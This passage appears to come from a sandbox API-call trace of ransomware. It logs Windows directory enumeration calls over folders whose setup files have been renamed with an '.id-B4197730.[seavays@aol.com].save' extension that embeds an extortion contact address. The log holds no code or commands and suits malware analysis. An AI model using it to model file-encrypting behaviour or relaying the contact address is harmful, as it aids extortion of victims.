ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.928] FindClose (in: hFindFile=0x4262bd8 | out: hFindFile=0x4262bd8) returned 1 [0205.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.929] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1042", cAlternateFileName="")) returned 1 [0205.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.930] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262fd8 [0205.931] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.931] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82b13ae, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82b13ae, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82b13ae, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.931] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82b13ae, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82b13ae, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x87c24f3, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.931] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74a7b4e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.931] FindNextFileW (in: hFindFile=0x4262fd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74a7b4e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.931] FindClose (in: hFindFile=0x4262fd8 | out: hFindFile=0x4262fd8) returned 1 [0205.932] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.932] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1043", cAlternateFileName="")) returned 1 [0205.932] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.933] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262f98 [0205.934] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.934] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8396179, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8396179, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8396179, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.934] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bc41f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x83bc41f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x83bc41f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.934] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x75b16f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.934] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x75b16f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.934] FindClose (in: hFindFile=0x4262f98 | out: hFindFile=0x4262f98) returned 1 [0205.935] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.935] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1044", cAlternateFileName="")) returned 1 [0205.936] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.936] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262e18 [0205.937] FindNextFileW (in: hFindFile=0x4262e18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.937] FindNextFileW (in: hFindFile=0x4262e18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bc41f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x83bc41f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x83e24ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.937] FindNextFileW (in: hFindFile=0x4262e18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83e24ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x83e24ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x88f366e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.937] FindNextFileW (in: hFindFile=0x4262e18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74cc906, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.937] FindNextFileW (in: hFindFile=0x4262e18, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74cc906, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.937] FindClose (in: hFindFile=0x4262e18 | out: hFindFile=0x4262e18) returned 1 [0206.034] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.035] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1045", cAlternateFileName="")) returned 1 [0206.036] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0206.036] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262998 [0206.037] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0206.038] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x853d076, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x853d076, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x853d076, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0206.038] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x853d076, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x853d076, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x855fce7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0206.038] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74cc906, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74cc906, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x767047d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0206.038] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74cc906, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74cc906, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x767047d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0206.038] FindClose (in: hFindFile=0x4262998 | out: hFindFile=0x4262998) returned 1 [0206.039] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.039] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1046", cAlternateFileName="")) returned 1 [0206.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0206.040] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262ed8 [0206.041] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0206.041] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x855fce7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x855fce7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x855fce7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0206.041] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x858651b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x858651b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8a70cc6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0206.041] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x764a1c2, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0206.041] FindNextFileW (in: hFindFile=0x4262ed8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x764a1c2, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0206.042] FindClose (in: hFindFile=0x4262ed8 | out: hFindFile=0x4262ed8) returned 1 [0206.043] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.043] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1049", cAlternateFileName="")) returned 1 [0206.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0206.043] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262c58 [0206.044] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0206.044] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x85ac238, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x85ac238, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x85ac238, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0206.044] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x85ac238, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x85ac238, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x85d24fd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0206.045] FindNextFileW (in: hFindFile=0x4262c58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f4403b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0206.045] FindNextFileW (in: hFindFile=0x4262c58, 